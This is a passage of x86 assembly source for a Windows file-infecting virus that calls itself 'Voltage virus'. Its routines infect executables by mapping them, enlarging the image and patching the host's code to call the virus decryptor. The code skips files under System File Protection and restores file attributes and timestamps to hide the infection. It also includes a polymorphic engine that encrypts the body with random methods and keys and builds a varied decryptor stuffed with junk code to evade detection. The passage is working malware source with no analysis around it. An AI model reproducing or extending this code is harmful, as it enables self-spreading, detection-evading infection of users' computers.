mov ecx,EncryptedVirus
|
||
|
|
add edi,EncryptionStart
|
||
|
|
encrypt:xor byte ptr [edi],al
|
||
|
|
inc edi
|
||
|
|
loop encrypt
|
||
|
|
call CreateDecryptor ;create polymorphic decryptor
|
||
|
|
pop ebx ;restore pe header
|
||
|
|
mov eax,[ebx + 50h] ;get size of image
|
||
|
|
add eax,VirusSize
|
||
|
|
push eax
|
||
|
|
xor edx,edx
|
||
|
|
mov ecx,[ebx + 38h] ;get section alignment
|
||
|
|
div ecx
|
||
|
|
sub ecx,edx
|
||
|
|
pop eax
|
||
|
|
add eax,ecx ;align size of image
|
||
|
|
mov dword ptr [ebx + 50h],eax ;set new size of image
|
||
|
|
inc byte ptr [ebp + Infection_Success]
|
||
|
|
call PadFileSize
|
||
|
|
ExitCloseF:
|
||
|
|
call CloseFile
|
||
|
|
ExitInfect:
|
||
|
|
call RestoreFileAttributes
|
||
|
|
ret
|
||
|
|
ExitWithoutInfection:
|
||
|
|
call RestoreFileSize
|
||
|
|
call CloseFile
|
||
|
|
call RestoreFileAttributes
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
Infection_Success db 0
|
||
|
|
|
||
|
|
;scan a code for mov eax,fs:[00000000] instruction and
|
||
|
|
;patch it with call virus_decryptor and inc ebx instruction
|
||
|
|
;input:
|
||
|
|
;eax - address of code
|
||
|
|
;ecx - size of code to scan
|
||
|
|
;output:
|
||
|
|
;carry flag - success\fail.
|
||
|
|
ScanAndPatch:
|
||
|
|
__1: cmp word ptr [eax],0a164h
|
||
|
|
jne nxt_w
|
||
|
|
cmp dword ptr [eax + 2h],0
|
||
|
|
jne nxt_w
|
||
|
|
mov byte ptr [eax],0e8h ;call instruction
|
||
|
|
mov ebx,[ebp + WhereToWriteDecryptor]
|
||
|
|
push eax
|
||
|
|
sub eax,[ebp + mapbase]
|
||
|
|
sub ebx,eax
|
||
|
|
sub ebx,5h
|
||
|
|
sub ebx,[ebp + mapbase]
|
||
|
|
pop eax
|
||
|
|
mov dword ptr [eax + 1h],ebx
|
||
|
|
mov byte ptr [eax + 5h],43h ;inc ebx instruction
|
||
|
|
jmp patchok ;patch only one time.
|
||
|
|
nxt_w: inc eax
|
||
|
|
loop __1
|
||
|
|
jmp nopatch
|
||
|
|
patchok:stc
|
||
|
|
ret
|
||
|
|
nopatch:clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
;input:nothing
|
||
|
|
;output:carry flag:
|
||
|
|
;1=protected
|
||
|
|
;0=not protected
|
||
|
|
CheckSFPFile:
|
||
|
|
pushad
|
||
|
|
lea eax,[ebp + SFP_Check_Error_Handler]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push dword ptr fs:[eax] ;set SEH
|
||
|
|
mov fs:[eax],esp
|
||
|
|
lea eax,[ebp + SFC_DLL]
|
||
|
|
push eax
|
||
|
|
call [ebp + LoadLibrary] ;load sfc library
|
||
|
|
cmp eax,0h ;sfc here ?
|
||
|
|
je NotProtected ;we not under xp\2000
|
||
|
|
mov [ebp + hSfc],eax ;save module handle
|
||
|
|
lea ebx,[ebp + _SfcIsFileProtected]
|
||
|
|
push ebx
|
||
|
|
push eax ;sfc module handle
|
||
|
|
call [ebp + __GetProcAddress]
|
||
|
|
cmp eax,0h ;function not founded ?
|
||
|
|
je NotProtected
|
||
|
|
mov [ebp + SfcIsFileProtected],eax ;save function address
|
||
|
|
lea esi,[ebp + Unicode_Path]
|
||
|
|
xor eax,eax
|
||
|
|
mov ecx,200h
|
||
|
|
@blankU:stosb ;blank unicode buffer
|
||
|
|
loop @blankU ;to avoid errors
|
||
|
|
push 200h
|
||
|
|
lea eax,[ebp + Unicode_Path]
|
||
|
|
push eax
|
||
|
|
push -1 ;string is null terminated
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
call [ebp + MultiByteToWideChar] ;convert path into unicode
|
||
|
|
cmp eax,0h ;fail ?
|
||
|
|
je SFP_Err ;dont infect
|
||
|
|
lea eax,[ebp + Unicode_Path]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + SfcIsFileProtected] ;check if file is protected
|
||
|
|
cmp eax,0h ;is file protected ?
|
||
|
|
jne SFP_Err
|
||
|
|
push dword ptr [ebp + hSfc]
|
||
|
|
call [ebp + FreeLibrary] ;free sfc library
|
||
|
|
NotProtected:
|
||
|
|
pop dword ptr fs:[0] ;remove SEH
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
SFP_Err: ;if file is protected we here
|
||
|
|
push dword ptr [ebp + hSfc]
|
||
|
|
call [ebp + FreeLibrary] ;free sfc library
|
||
|
|
pop dword ptr fs:[0] ;remove SEH
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
SFP_Check_Error_Handler:
|
||
|
|
mov esp,[esp + 8h]
|
||
|
|
pop dword ptr fs:[0] ;remove SEH
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
SFC_DLL db "SFC.DLL",0
|
||
|
|
hSfc dd 0
|
||
|
|
_SfcIsFileProtected db "SfcIsFileProtected",0
|
||
|
|
SfcIsFileProtected dd 0
|
||
|
|
|
||
|
|
Unicode_Path db 200h dup(0) ;200=2 max_path
|
||
|
|
|
||
|
|
CP_ACP equ 0
|
||
|
|
|
||
|
|
RemoveFileAttributes:
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
call [ebp + GetFileAttributes]
|
||
|
|
mov [ebp + OldFileAttribute],eax
|
||
|
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetFileAttributes]
|
||
|
|
ret
|
||
|
|
|
||
|
|
OldFileAttribute dd 0
|
||
|
|
|
||
|
|
RestoreFileAttributes:
|
||
|
|
push dword ptr [ebp + OldFileAttribute]
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetFileAttributes]
|
||
|
|
ret
|
||
|
|
|
||
|
|
PadFileSize:
|
||
|
|
call pad_size
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + SetEndOfFile]
|
||
|
|
ret
|
||
|
|
|
||
|
|
RestoreFileSize:
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push dword ptr [ebp + FileSize]
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + SetEndOfFile]
|
||
|
|
ret
|
||
|
|
|
||
|
|
CloseFile:
|
||
|
|
push dword ptr [ebp + mapbase]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
push dword ptr [ebp + hmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
lea eax,[ebp + LastWriteTime]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + LastAccessTime]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + CreationTime]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + SetFileTime]
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ret
|
||
|
|
|
||
|
|
OpenFile:
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
|
push OPEN_EXISTING
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push GENERIC_READ or GENERIC_WRITE
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je OpenFileErr
|
||
|
|
mov dword ptr [ebp + hfile],eax
|
||
|
|
push 0h
|
||
|
|
push eax
|
||
|
|
call [ebp + GetFileSize]
|
||
|
|
cmp eax,0ffffffffh
|
||
|
|
je FileSizeErr
|
||
|
|
mov dword ptr [ebp + FileSize],eax
|
||
|
|
cmp eax,2800h
|
||
|
|
jb FileSizeErr
|
||
|
|
cmp eax,300000h
|
||
|
|
ja FileSizeErr
|
||
|
|
call pad_size
|
||
|
|
cmp edx,0h ;already infected ?
|
||
|
|
jne ___1
|
||
|
|
inc byte ptr [ebp + Infection_Success]
|
||
|
|
jmp FileSizeErr
|
||
|
|
___1: lea eax,[ebp + LastWriteTime]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + LastAccessTime]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + CreationTime]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + GetFileTime]
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + FileSize]
|
||
|
|
add dword ptr [esp],VirusSize
|
||
|
|
push eax
|
||
|
|
push PAGE_READWRITE
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + CreateFileMapping]
|
||
|
|
cmp eax,0h
|
||
|
|
je FileSizeErr
|
||
|
|
mov dword ptr [ebp + hmap],eax
|
||
|
|
push dword ptr [ebp + FileSize]
|
||
|
|
add dword ptr [esp],VirusSize
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_WRITE
|
||
|
|
push dword ptr [ebp + hmap]
|
||
|
|
call [ebp + MapViewOfFile]
|
||
|
|
cmp eax,0h
|
||
|
|
je MapFileErr
|
||
|
|
mov dword ptr [ebp + mapbase],eax
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
MapFileErr:
|
||
|
|
push dword ptr [ebp + hmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
FileSizeErr:
|
||
|
|
push dword ptr [ebp + hfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
OpenFileErr:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
FileSize dd 0
|
||
|
|
hfile dd 0
|
||
|
|
hmap dd 0
|
||
|
|
mapbase dd 0
|
||
|
|
|
||
|
|
CreationTime dq 0
|
||
|
|
LastAccessTime dq 0
|
||
|
|
LastWriteTime dq 0
|
||
|
|
|
||
|
|
|
||
|
|
IF DEBUG
|
||
|
|
warning db "Warning!!!:Voltage virus is going to infect this file,press yes to infect",0
|
||
|
|
ENDIF
|
||
|
|
|
||
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||
|
|
OPEN_EXISTING equ 3
|
||
|
|
GENERIC_READ equ 80000000h
|
||
|
|
GENERIC_WRITE equ 40000000h
|
||
|
|
INVALID_HANDLE_VALUE equ -1
|
||
|
|
PAGE_READWRITE equ 4h
|
||
|
|
FILE_MAP_WRITE equ 00000002h
|
||
|
|
FILE_BEGIN equ 0
|
||
|
|
MB_YESNO equ 00000004h
|
||
|
|
IDYES equ 6
|
||
|
|
|
||
|
|
;eax - file size
|
||
|
|
pad_size:
|
||
|
|
push eax
|
||
|
|
xor edx,edx
|
||
|
|
mov ecx,65h ;101d
|
||
|
|
div ecx
|
||
|
|
cmp edx,0h
|
||
|
|
je no_pad
|
||
|
|
sub ecx,edx
|
||
|
|
xchg ecx,edx
|
||
|
|
no_pad: pop eax
|
||
|
|
add eax,edx
|
||
|
|
ret
|
||
|
|
|
||
|
|
;Voltage PolyMorphic Engine:
|
||
|
|
;---------------------------
|
||
|
|
;encrypt code with 4 bytes key with diffrent way each time
|
||
|
|
;and create polymorphic decryptor,the polymorphic decryptor
|
||
|
|
;has diffrent instructions that do the same thing mixed with
|
||
|
|
;junk code.
|
||
|
|
|
||
|
|
|
||
|
|
CreateDecryptor:
|
||
|
|
call InitRandomNumber ;init random number generator
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,1f40h ;get random numebr between 0 ~ 8000
|
||
|
|
cmp eax,7d0h
|
||
|
|
ja NextM
|
||
|
|
mov byte ptr [ebp + EncryptionMethod],1h ;use not
|
||
|
|
jmp EncryptVirus
|
||
|
|
NextM: cmp eax,0fa0h
|
||
|
|
ja NextM2
|
||
|
|
mov byte ptr [ebp + EncryptionMethod],2h ;use add
|
||
|
|
jmp EncryptVirus
|
||
|
|
NextM2: cmp eax,1770h
|
||
|
|
ja NextM3
|
||
|
|
mov byte ptr [ebp + EncryptionMethod],3h ;use sub
|
||
|
|
jmp EncryptVirus
|
||
|
|
NextM3: mov byte ptr [ebp + EncryptionMethod],4h ;use xor
|
||
|
|
EncryptVirus:
|
||
|
|
call GenRandomNumber
|
||
|
|
mov dword ptr [ebp + key],eax ;get random key
|
||
|
|
xor eax,eax
|
||
|
|
mov ecx,SizeOfDataToEncrypt ;size of data in words
|
||
|
|
mov edi,[ebp + StartOfDataToEncrypt]
|
||
|
|
mov esi,edi
|
||
|
|
@enc: lodsd
|
||
|
|
cmp byte ptr [ebp + EncryptionMethod],1h ;is not ?
|
||
|
|
jne NextE
|
||
|
|
not eax
|
||
|
|
jmp _stosw
|
||
|
|
NextE: cmp byte ptr [ebp + EncryptionMethod],2h ;is add ?
|
||
|
|
jne NextE2
|
||
|
|
add eax,dword ptr [ebp + key]
|
||
|
|
jmp _stosw
|
||
|
|
NextE2: cmp byte ptr [ebp + EncryptionMethod],3h ;is sub ?
|
||
|
|
jne NextE4
|
||
|
|
sub eax,dword ptr [ebp + key]
|
||
|
|
jmp _stosw
|
||
|
|
NextE4: xor eax,dword ptr [ebp + key] ;xor
|
||
|
|
_stosw: stosd
|
||
|
|
loop @enc
|
||
|
|
mov edi,[ebp + WhereToWriteDecryptor]
|
||
|
|
call WriteInstruction1
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction2
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction3
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction4
|
||
|
|
call WriteJunkCode
|
||
|
|
mov dword ptr [ebp + PolyBuffer],edi ;saved for loop
|
||
|
|
call WriteInstruction5
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction6
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction7
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction8
|
||
|
|
call WriteJunkCode
|
||
|
|
call WriteInstruction9
|
||
|
|
call WriteJunkCode
|
||
|
|
ret
|
||
|
|
|
||
|
|
EncryptionMethod db 0 ;1=not 2=add 3=sub 4=xor
|
||
|
|
key dd 0
|
||
|
|
SizeOfDecryptor dd 0
|
||
|
|
WhereToWriteDecryptor dd 0
|
||
|
|
StartOfDataToEncrypt dd 0
|
||
|
|
ProgramImageBase dd 0
|
||
|
|
PolyBuffer dd 0
|
||
|
|
SizeOfDataToEncrypt equ (VirusSize/4);virus size in dwords
|
||
|
|
FixRVA dd 0
|
||
|
|
|
||
|
|
WriteInstruction1:
|
||
|
|
;this function write pushad instruction
|
||
|
|
mov byte ptr [edi],60h ;pushad
|
||
|
|
inc edi
|
||
|
|
ret
|
||
|
|
WriteInstruction2:
|
||
|
|
;this function set esi register to start of encrypted virus
|
||
|
|
call GenRandomNumber
|
||
|
|
mov ebx,[ebp + StartOfDataToEncrypt]
|
||
|
|
sub ebx,[ebp + mapbase]
|
||
|
|
add ebx,[ebp + ProgramImageBase]
|
||
|
|
add ebx,[ebp + FixRVA]
|
||
|
|
and eax,0ffh ;get random number between 0 ~ 255
|
||
|
|
cmp eax,33h
|
||
|
|
ja ins2_1
|
||
|
|
mov byte ptr [edi],0beh ;way 1:
|
||
|
|
mov dword ptr [edi + 1],ebx ;mov esi,StartOfDataToEncrypt
|
||
|
|
add edi,5h
|
||
|
|
jmp retins2
|
||
|
|
ins2_1: cmp eax,66h
|
||
|
|
ja ins2_2
|
||
|
|
mov byte ptr [edi],68h ;way 2:
|
||
|
|
mov dword ptr [edi + 1],ebx ;push StartOfDataToEncrypt
|
||
|
|
add edi,5h
|
||
|
|
call WriteJunkCode ;pop esi
|
||
|
|
mov byte ptr [edi],5eh
|
||
|
|
inc edi
|
||
|
|
jmp retins2
|
||
|
|
ins2_2: cmp eax,99h
|
||
|
|
ja ins2_3
|
||
|
|
mov word ptr [edi],0f633h ;way 3:
|
||
|
|
add edi,2h ;xor esi,esi
|
||
|
|
push ebx
|
||
|
|
call WriteJunkCode
|
||
|
|
pop ebx
|
||
|
|
call _ins2oresival
|
||
|
|
jmp retins2
|
||
|
|
ins2_3: cmp eax,0cch
|
||
|
|
ja ins2_4
|
||
|
|
mov word ptr [edi],0f62bh ;way 4
|
||
|
|
add edi,2h ;sub esi,esi
|
||
|
|
push ebx
|
||
|
|
call WriteJunkCode
|
||
|
|
pop ebx
|
||
|
|
call _ins2oresival
|
||
|
|
jmp retins2
|
||
|
|
ins2_4: not ebx ;way 5
|
||
|
|
mov byte ptr [edi],0beh ;mov esi,not StartOfDataToEncrypt
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],0d6f7h ;not esi
|
||
|
|
add edi,2h
|
||
|
|
retins2:ret
|
||
|
|
_ins2oresival:
|
||
|
|
;write or esi,StartOfDataToEncrypt instruction
|
||
|
|
mov word ptr [edi],0ce81h
|
||
|
|
mov dword ptr [edi + 2],ebx
|
||
|
|
add edi,6h
|
||
|
|
ret
|
||
|
|
|
||
|
|
WriteInstruction3:
|
||
|
|
;this function set edi register to esi register
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,0c8h
|
||
|
|
cmp eax,32h
|
||
|
|
ja ins3_1
|
||
|
|
mov word ptr [edi],0fe8bh ;mov edi,esi
|
||
|
|
add edi,2h
|
||
|
|
jmp retins3
|
||
|
|
ins3_1: cmp eax,64h
|
||
|
|
ja ins3_2
|
||
|
|
mov byte ptr [edi],56h ;push esi
|
||
|
|
inc edi
|
||
|
|
call WriteJunkCode
|
||
|
|
mov byte ptr [edi],5fh ;pop edi
|
||
|
|
inc edi
|
||
|
|
jmp retins3
|
||
|
|
ins3_2: cmp eax,96h
|
||
|
|
ja ins3_3
|
||
|
|
mov word ptr [edi],0fe87h ;xchg edi esi
|
||
|
|
add edi,2h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],0f78bh ;mov esi,edi
|
||
|
|
add edi,2h
|
||
|
|
jmp retins3
|
||
|
|
ins3_3: mov word ptr [edi],0f787h ;xchg edi esi
|
||
|
|
add edi,2h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],0f78bh ;mov esi,edi
|
||
|
|
add edi,2h
|
||
|
|
retins3:ret
|
||
|
|
|
||
|
|
WriteInstruction4:
|
||
|
|
;this function set ecx with the size of the virus in dwords
|
||
|
|
call GenRandomNumber
|
||
|
|
mov ebx,SizeOfDataToEncrypt
|
||
|
|
and eax,0ffh
|
||
|
|
cmp eax,33h
|
||
|
|
ja ins4_1
|
||
|
|
mov byte ptr [edi],0b9h ;mov ecx,sizeofvirusindwords
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
jmp retins4
|
||
|
|
ins4_1: cmp eax,66h
|
||
|
|
ja ins4_2
|
||
|
|
mov byte ptr [edi],68h ;push sizeofvirusindwords
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov byte ptr [edi],59h ;pop ecx
|
||
|
|
inc edi
|
||
|
|
jmp retins4
|
||
|
|
ins4_2: cmp eax,99h
|
||
|
|
ja ins4_3
|
||
|
|
mov word ptr [edi],0c933h ;xor ecx,ecx
|
||
|
|
add edi,2h
|
||
|
|
push ebx
|
||
|
|
call WriteJunkCode
|
||
|
|
pop ebx
|
||
|
|
call _ins4orecxval
|
||
|
|
jmp retins4
|
||
|
|
ins4_3: cmp eax,0cch
|
||
|
|
ja ins4_4
|
||
|
|
mov word ptr [edi],0c92bh ;sub ecx,ecx
|
||
|
|
add edi,2h
|
||
|
|
push ebx
|
||
|
|
call WriteJunkCode
|
||
|
|
pop ebx
|
||
|
|
call _ins4orecxval
|
||
|
|
jmp retins4
|
||
|
|
ins4_4: not ebx
|
||
|
|
mov byte ptr [edi],0b9h ;mov ecx,not sizeofvirusindwords
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],0d1f7h
|
||
|
|
add edi,2h
|
||
|
|
retins4:ret
|
||
|
|
_ins4orecxval:
|
||
|
|
mov word ptr [edi],0c981h
|
||
|
|
mov dword ptr [edi + 2],ebx
|
||
|
|
add edi,6h
|
||
|
|
ret
|
||
|
|
WriteInstruction5:
|
||
|
|
;this function read 4 bytes from [esi] into eax
|
||
|
|
;and add to esi register 4 (if there is need to do so).
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,12ch
|
||
|
|
cmp eax,64h
|
||
|
|
ja ins5_1
|
||
|
|
mov byte ptr [edi],0adh ;lodsd
|
||
|
|
inc edi
|
||
|
|
jmp retins5
|
||
|
|
ins5_1: cmp eax,0c8h
|
||
|
|
ja ins5_2
|
||
|
|
mov word ptr [edi],068bh ;mov eax,dword ptr [esi]
|
||
|
|
add edi,2h
|
||
|
|
call _ins5addesi4
|
||
|
|
jmp retins5
|
||
|
|
ins5_2: mov word ptr [edi],36ffh ;push dword ptr [esi]
|
||
|
|
add edi,2h
|
||
|
|
call WriteJunkCode
|
||
|
|
mov byte ptr [edi],58h ;pop eax
|
||
|
|
inc edi
|
||
|
|
call _ins5addesi4
|
||
|
|
retins5:ret
|
||
|
|
|
||
|
|
_ins5addesi4:
|
||
|
|
;this function write add to esi register 4
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,64h
|
||
|
|
cmp eax,32h
|
||
|
|
ja addesi4_2
|
||
|
|
mov word ptr [edi],0c683h ;way 1
|
||
|
|
mov byte ptr [edi + 2],4h ;add esi,4h
|
||
|
|
add edi,3h
|
||
|
|
jmp raddesi
|
||
|
|
addesi4_2:
|
||
|
|
mov ecx,4h ;way 2
|
||
|
|
@incesi:mov byte ptr [edi],46h
|
||
|
|
inc edi
|
||
|
|
call WriteJunkCode
|
||
|
|
loop @incesi
|
||
|
|
raddesi:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteInstruction6:
|
||
|
|
;this function decrypt the value of eax
|
||
|
|
mov ebx,dword ptr [ebp + key]
|
||
|
|
cmp byte ptr [ebp + EncryptionMethod],1h
|
||
|
|
jne ins6_1
|
||
|
|
mov word ptr [edi],0d0f7h ;not eax
|
||
|
|
add edi,2h
|
||
|
|
jmp retins6
|
||
|
|
ins6_1: cmp byte ptr [ebp + EncryptionMethod],2h
|
||
|
|
jne ins6_2
|
||
|
|
mov byte ptr [edi],2dh ;sub eax,key
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
jmp retins6
|
||
|
|
ins6_2: cmp byte ptr [ebp + EncryptionMethod],3h
|
||
|
|
jne ins6_3
|
||
|
|
mov byte ptr [edi],05h ;add eax,key
|
||
|
|
mov dword ptr [edi + 1],ebx
|
||
|
|
add edi,5h
|
||
|
|
jmp retins6
|
||
|
|
ins6_3: mov byte ptr [edi],35h
|
||
|
|
mov dword ptr [edi + 1],ebx ;xor eax,key
|
||
|
|
add edi,5h
|
||
|
|
jmp retins6
|
||
|
|
retins6:ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
WriteInstruction7:
|
||
|
|
;this function copy the value of eax to [edi]
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,258h
|
||
|
|
cmp eax,0c8h
|
||
|
|
ja ins7_1
|
||
|
|
mov byte ptr [edi],0abh ;stosd
|
||
|
|
inc edi
|
||
|
|
jmp retins7
|
||
|
|
ins7_1: cmp eax,190h
|
||
|
|
ja ins7_2
|
||
|
|
mov word ptr [edi],0789h ;mov dword ptr [edi],eax
|
||
|
|
add edi,2h
|
||
|
|
call WriteJunkCode
|
||
|
|
call addedi4
|
||
|
|
jmp retins7
|
||
|
|
ins7_2: mov byte ptr [edi],50h ;push eax
|
||
|
|
inc edi
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],078fh ;pop dword ptr [edi]
|
||
|
|
add edi,2h
|
||
|
|
call addedi4
|
||
|
|
retins7:ret
|
||
|
|
|
||
|
|
addedi4:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,12ch
|
||
|
|
cmp eax,96h
|
||
|
|
ja _addedi4
|
||
|
|
mov word ptr [edi],0c783h
|
||
|
|
mov byte ptr [edi + 2],4h
|
||
|
|
add edi,3h
|
||
|
|
jmp retins7a
|
||
|
|
_addedi4:
|
||
|
|
mov ecx,4h
|
||
|
|
@incedi:mov byte ptr [edi],47h ;inc edi
|
||
|
|
inc edi
|
||
|
|
call WriteJunkCode
|
||
|
|
loop @incedi
|
||
|
|
retins7a:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteInstruction8:
|
||
|
|
;this function write the loop instruction of the decryptor
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,12ch
|
||
|
|
cmp eax,96h
|
||
|
|
ja ins8_1
|
||
|
|
mov byte ptr [edi],49h ;dec ecx
|
||
|
|
inc edi
|
||
|
|
call WriteJunkCode
|
||
|
|
mov word ptr [edi],0f983h
|
||
|
|
mov byte ptr [edi + 2],0h ;cmp ecx,0h
|
||
|
|
add edi,3h
|
||
|
|
mov eax,dword ptr [ebp + PolyBuffer]
|
||
|
|
sub eax,edi
|
||
|
|
mov byte ptr [edi],75h ;jne
|
||
|
|
sub eax,2h
|
||
|
|
mov byte ptr [edi + 1],al
|
||
|
|
add edi,2h
|
||
|
|
jmp retins8
|
||
|
|
ins8_1: mov eax,dword ptr [ebp + PolyBuffer]
|
||
|
|
sub eax,edi
|
||
|
|
mov byte ptr [edi],0e2h ;loop
|
||
|
|
sub eax,2h
|
||
|
|
mov byte ptr [edi + 1],al
|
||
|
|
add edi,2h
|
||
|
|
retins8:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteInstruction9:
|
||
|
|
;this istruction write a code in the stack,that jump into virus code
|
||
|
|
call GenRandomNumber
|
||
|
|
mov ebx,[ebp + StartOfDataToEncrypt]
|
||
|
|
sub ebx,[ebp + mapbase]
|
||
|
|
add ebx,[ebp + ProgramImageBase]
|
||
|
|
add ebx,[ebp + FixRVA] ;offset to jump
|
||
|
|
mov dword ptr [ebp + push_and_ret + 1],ebx ;save address
|
||
|
|
;push 'push offset' & 'ret' instructions to the stack
|
||
|
|
;way 1:
|
||
|
|
; push xxx
|
||
|
|
; push xxx
|
||
|
|
;way 2:
|
||
|
|
; mov reg,xxx
|
||
|
|
; push reg
|
||
|
|
; mov reg,xxx
|
||
|
|
; push reg
|
||
|
|
;way 3:
|
||
|
|
; mov reg,xored xxx
|
||
|
|
; push reg
|
||
|
|
; xor dword ptr [esp],xored val
|
||
|
|
; mov reg,xored xxx
|
||
|
|
; push reg
|
||
|
|
; xor dword ptr [esp],xored val
|
||
|
|
;------------------------------------------------------
|
||
|
|
and eax,4b0h
|
||
|
|
cmp eax,190h
|
||
|
|
ja I9_A
|
||
|
|
xor ecx,ecx ;way 1 !!!
|
||
|
|
mov cx,word ptr [ebp + push_and_ret+4]
|
||
|
|
mov byte ptr [edi],68h
|
||
|
|
mov dword ptr [edi + 1h],ecx ;gen push xxx
|
||
|
|
add edi,5h
|
||
|
|
call WriteJunkCode
|
||
|
|
xor ecx,ecx
|
||
|
|
mov ecx,dword ptr [ebp + push_and_ret]
|
||
|
|
mov byte ptr [edi],68h
|
||
|
|
mov dword ptr [edi +1h],ecx ;gen push xxx
|
||
|
|
add edi,5h
|
||
|
|
jmp I9_Exit
|
||
|
|
I9_A: cmp eax,320h
|
||
|
|
ja I9_B
|
||
|
|
xor eax,eax
|
||
|
|
mov ax,word ptr [ebp + push_and_ret+4]
|
||
|
|
call GenMoveAndPush
|
||
|
|
xor eax,eax
|
||
|
|
mov eax,dword ptr [ebp + push_and_ret]
|
||
|
|
call GenMoveAndPush
|
||
|
|
jmp I9_Exit
|
||
|
|
I9_B: call GenRandomNumber
|
||
|
|
xchg ebx,eax
|
||
|
|
xor eax,eax
|
||
|
|
mov ax,word ptr [ebp + push_and_ret+4]
|
||
|
|
xor eax,ebx
|
||
|
|
call GenMoveAndPush
|
||
|
|
call _WriteJunkCode
|
||
|
|
mov al,81h
|
||
|
|
stosb
|
||
|
|
mov ax,2434h
|
||
|
|
stosw
|
||
|
|
xchg ebx,eax
|
||
|
|
push eax
|
||
|
|
stosd
|
||
|
|
xor eax,eax
|
||
|
|
mov eax,dword ptr [ebp + push_and_ret]
|
||
|
|
xor eax,dword ptr [esp]
|
||
|
|
call GenMoveAndPush
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop ebx
|
||
|
|
mov al,81h
|
||
|
|
stosb
|
||
|
|
mov ax,2434h
|
||
|
|
stosw
|
||
|
|
xchg ebx,eax
|
||
|
|
stosd
|
||
|
|
I9_Exit:
|
||
|
|
Call WriteJunkCode
|
||
|
|
;gen a SEH frame that jump into the stack
|
||
|
|
;----------------------------------------
|
||
|
|
;gen 'push esp'
|
||
|
|
